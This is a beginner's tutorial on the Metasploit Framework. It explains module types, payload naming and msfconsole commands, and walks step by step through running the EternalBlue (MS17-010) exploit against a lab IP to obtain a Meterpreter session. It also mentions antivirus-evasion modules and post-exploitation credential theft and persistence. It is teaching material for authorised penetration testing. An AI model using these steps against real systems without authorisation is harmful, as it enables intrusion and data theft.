Metasploit Framework: Complete Beginner's Guide - Part 1

Master the World's Most Powerful Penetration Testing Platform

What is Metasploit?

Imagine having a Swiss Army knife for cybersecurity testing-that's Metasploit! It's the most widely used exploitation framework in the world, supporting everything from finding vulnerabilities to taking control of systems (ethically, of course!).

Metasploit is a powerful tool supporting all phases of penetration testing:

- Information gathering - Learning about your target
- Scanning - Finding open ports and services
- Exploitation - Taking advantage of vulnerabilities
- Post-exploitation - What you do after gaining access

Two Main Versions

1. Metasploit Pro (Commercial): GUI-based, automated, great for teams and enterprises. Think of it as Metasploit with training wheels and power steering!

2. Metasploit Framework (Open-Source): Command-line based, FREE, and what we'll focus on. This is what security professionals use daily. Available on Kali Linux and most penetration testing distributions.

The Three Main Components

1. msfconsole - Your command center. This is where you'll spend most of your time, like a cockpit for penetration testing.

2. Modules - Pre-built tools for specific tasks. Think of them as apps on your phone-each does something specific like scanning, exploiting, or gathering information.

3. Tools - Standalone utilities like msfvenom (creates payloads), pattern_create, and pattern_offset.

Understanding the Basics: Three Critical Concepts

Before we dive in, you MUST understand these three terms. They're the foundation of everything:

1. Vulnerability - A weakness or flaw in software/hardware.

Example: An unpatched Windows 7 system has a flaw in how it handles SMB (file sharing) protocol. This is CVE-2017-0144, commonly known as MS17-010.

2. Exploit - Code that takes advantage of a vulnerability.

Example: EternalBlue exploit targets the MS17-010 vulnerability. It's like having a key that fits the lock of that specific vulnerability.

3. Payload - What you want to happen AFTER successfully exploiting.

Example: A reverse shell payload makes the target computer connect back to you, giving you a command prompt. Other payloads might add a user, launch calculator (for proof), or install backdoors.

Think of it like this: Vulnerability = Unlocked window, Exploit = Climbing through it, Payload = What you do once inside (steal data, plant evidence, etc.)

Module Categories Explained

Metasploit organizes everything into categories. Here's what each one does:

1. Auxiliary Modules

What they do: Support tasks like scanning, fuzzing, and information gathering. They DON'T exploit anything-just gather intel.

Common subcategories:

- scanner - Port scanners, service detection (like Nmap built into Metasploit)
- admin - Administrative tools
- gather - Collect information about targets
- dos - Denial of service testing
- crawler - Web crawlers
- fuzzers - Find bugs by sending weird input

2. Encoders

What they do: Disguise your payload to bypass antivirus software.

Reality check: Modern antivirus uses behavior analysis, so encoders have LIMITED success. Think of them as changing your outfit to avoid recognition-sometimes works, often doesn't against smart security.

Common encoders: x86/shikata_ga_nai, x64/xor_dynamic, cmd/powershell_base64

3. Evasion Modules

What they do: Actually TRY to evade antivirus, Windows Defender, and AppLocker. More sophisticated than simple encoding.

Examples:

- windows/applocker_evasion_msbuild
- windows/windows_defender_exe
- windows/syscall_inject

4. Exploits (The Main Event!)

What they do: These are the actual attack modules organized by operating system.

Categories:

- windows - Windows exploits (SMB, RDP, IIS web server, etc.)
- linux - Linux exploits (kernel bugs, service vulnerabilities)
- multi - Cross-platform exploits (work on multiple OS)
- android, osx, unix - Platform-specific attacks

5. NOPs (No Operation)

What they do: Literally nothing! The CPU does nothing for one cycle (0x90 instruction).

Why use them? Create consistent payload sizes and improve exploit reliability. Think of them as padding material.

6. Payloads (What Happens After Exploitation)

This is THE most important category! Payloads determine what actually runs on the target after successful exploitation.

Four types of payloads:

Singles (Inline): Self-contained, all-in-one payloads. Everything needed is included.

Example: `generic/shell_reverse_tcp` - Notice the UNDERSCORE between shell and reverse

Use when: You want simplicity, smaller exploits, or immediate execution

Stagers: Small initial payload that connects back and downloads the full payload (stage).

Use when: Initial exploit has size limits, you want advanced features later

Stages: The full payload downloaded by the stager. Enables advanced features like Meterpreter.

Example: `windows/x64/shell/reverse_tcp` - Notice the FORWARD SLASH between shell and reverse

Adapters: Wrap payloads into different formats (PowerShell command, VBA macro, etc.).

KEY DISTINCTION: UNDERSCORE (_) = Single/Inline payload. FORWARD SLASH (/) = Staged payload. This naming convention is CRITICAL to understand!

7. Post-Exploitation Modules

Used AFTER you've gained access. These help you:

- Escalate privileges (become admin/root)
- Steal credentials and data
- Move laterally to other systems
- Maintain persistent access

Getting Started: Launching msfconsole

Open your terminal (on Kali Linux or any system with Metasploit installed) and type:

```
msfconsole
```

You'll see a cool ASCII art banner and then the prompt:

```
msf6 >
```

This prompt means Metasploit is ready! The '6' indicates version 6 (you might see msf5 on older systems).

What Can You Do in msfconsole?

msfconsole works like a regular command line! You can run Linux commands:

`ls` - List files

`pwd` - Show current directory

`ping -c 1 8.8.8.8` - Ping Google DNS

`clear` - Clear screen

LIMITATION: Output redirection (>, >>) doesn't work. So `help > file.txt` won't work.

Essential Commands You'll Use Daily

`help` or **`help [command]`**

Shows help menu or specific command usage. Your best friend when confused!

`history`

Shows all commands you've typed. Great for remembering what worked!

Tab Completion

Press TAB to auto-complete commands, module names, and file paths. This saves SO much time!

Working with Modules: The Complete Workflow

Here's where it gets exciting! Let's walk through using the famous EternalBlue exploit step by step.

Real Example: Exploiting MS17-010 (EternalBlue)

Background: EternalBlue was allegedly developed by the NSA to exploit Windows SMBv1. It was leaked in 2017 and used in the WannaCry ransomware attack that affected 200,000+ computers worldwide.

Step 1: Search for the Module

```
search ms17-010
```

This shows all modules related to MS17-010. You'll see exploits, scanners, and auxiliary modules.

Step 2: Select the Exploit

```
use exploit/windows/smb/ms17_010_eternalblue
```

Notice how the prompt changes:

```
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

This means you're now IN the context of this exploit. Everything you set now applies to this module!

Step 3: View Required Parameters

```
show options
```

This displays what you need to configure:

- RHOSTS - Target IP address (REQUIRED)
- RPORT - Target port (default: 445 for SMB)
- LHOST - YOUR attacking machine IP
- LPORT - YOUR listening port (default: 4444)

Step 4: Set Target IP

```
set RHOSTS 10.10.10.40
```

(Replace 10.10.10.40 with your actual target IP)

Step 5: (Optional) Check What Payloads Work

```
show payloads
```

Shows all compatible payloads for this exploit. Metasploit usually picks a good default (Meterpreter).

Step 6: Launch the Exploit!

```
exploit
```

Or use:

`run` (same thing, just an alias)

`exploit -z` (runs and immediately backgrounds the session)

If successful, you'll get a Meterpreter session!

Searching Like a Pro

Basic search:

```
search eternalblue
```

Advanced filtering:

```
search type:auxiliary telnet
```

(Shows ONLY auxiliary modules related to telnet)

```
search platform:windows
```

(Shows ONLY Windows modules)

```
search cve:2017
```

(Shows exploits for 2017 CVEs)

Understanding Exploit Ranks

Metasploit ranks exploits based on reliability:

- Excellent - Always works, never crashes
- Great - Highly reliable
- Good - Generally reliable
- Normal - Works in typical scenarios
- Average - May crash the service (EternalBlue is here!)
- Low - Unreliable, often crashes
- Manual - Requires manual intervention

Remember: Rankings are guidelines, not guarantees! Even 'Low' ranked exploits sometimes work perfectly.

Setting Parameters: Local vs Global

Local (module-specific):

```
set RHOSTS 10.10.10.40
```

This ONLY applies to the current module. Switch modules = lose the setting!

Global (applies everywhere):

```
setg RHOSTS 10.10.10.40
```

This applies to ALL modules until you exit Metasploit or clear it with:

```
unsetg RHOSTS
```

Pro Tip: Use setg for target IPs when testing one machine with multiple modules. Saves tons of typing!

Common Parameters Explained

`RHOSTS` - Remote Host(s)

Single IP: 10.10.10.40
Range: 10.10.10.1-50
CIDR: 10.10.10.0/24 (entire subnet)
File: file:/path/to/targets.txt

`RPORT` - Remote Port

Port on target system (80 for web, 445 for SMB, 22 for SSH)

`LHOST` - Local Host

YOUR IP address (where reverse shells connect back)

`LPORT` - Local Port

Port YOU are listening on (default 4444)

Managing Sessions: Working with Multiple Targets

Once you successfully exploit a target, you get a SESSION. This is your active connection.

Backgrounding a session:

`background` or press **CTRL+Z**

Listing all sessions:

```
sessions
```

Shows:

```
Id   Name          Type            Information                          Connection
1    meterpreter x64/windows  NT AUTHORITY\SYSTEM @ PC1    10.10.14.5:4444 -> 10.10.10.40:49163
```

Interacting with a specific session:

```
sessions -i 1
```

This reconnects you to session 1

Understanding the 5 Different Prompts

Knowing where you are is CRITICAL. Here are the 5 prompts you'll see:

1. **`root@kali:~#`**

   Regular Linux terminal (Metasploit not running)

2. **`msf6 >`**

   Main msfconsole (no module selected)

3. **`msf6 exploit(windows/smb/ms17_010_eternalblue) >`**

   Inside a module context (can set parameters)

4. **`meterpreter >`**

   Meterpreter session (advanced payload with special commands)

5. **`C:\Windows\system32>`**

   Regular command shell on target Windows system

Quick Reference: Essential Commands

`search [term]` - Find modules

`use [module]` - Select a module

`show options` - View parameters

`set [param] [value]` - Set parameter

`setg [param] [value]` - Set globally

`exploit` or `run` - Launch!

`back` - Exit module

`info` - Detailed module info

`sessions` - List active sessions

`sessions -i [id]` - Interact with session

Key Takeaways

✓ Metasploit Framework = FREE, command-line, industry standard

✓ Vulnerability → Exploit → Payload (the three core concepts)

✓ Modules organized by category (auxiliary, exploits, payloads, post, etc.)

✓ Payload naming: UNDERSCORE = single, SLASH = staged

✓ Context matters! Settings only apply to current module unless you use setg

✓ Search is your friend - use filters (type:, platform:, cve:)

✓ Sessions = active connections - manage them wisely

Final Words

Metasploit is incredibly powerful but remember:

⚠ ONLY use on systems you own or have written permission to test

⚠ Unauthorized access is illegal and unethical

⚠ Practice in lab environments (TryHackMe, HackTheBox, OSCP labs)

The best way to learn is by doing! Start with simple modules, work your way up to complex exploits, and always document what you learn.

Happy (ethical) hacking! 🔐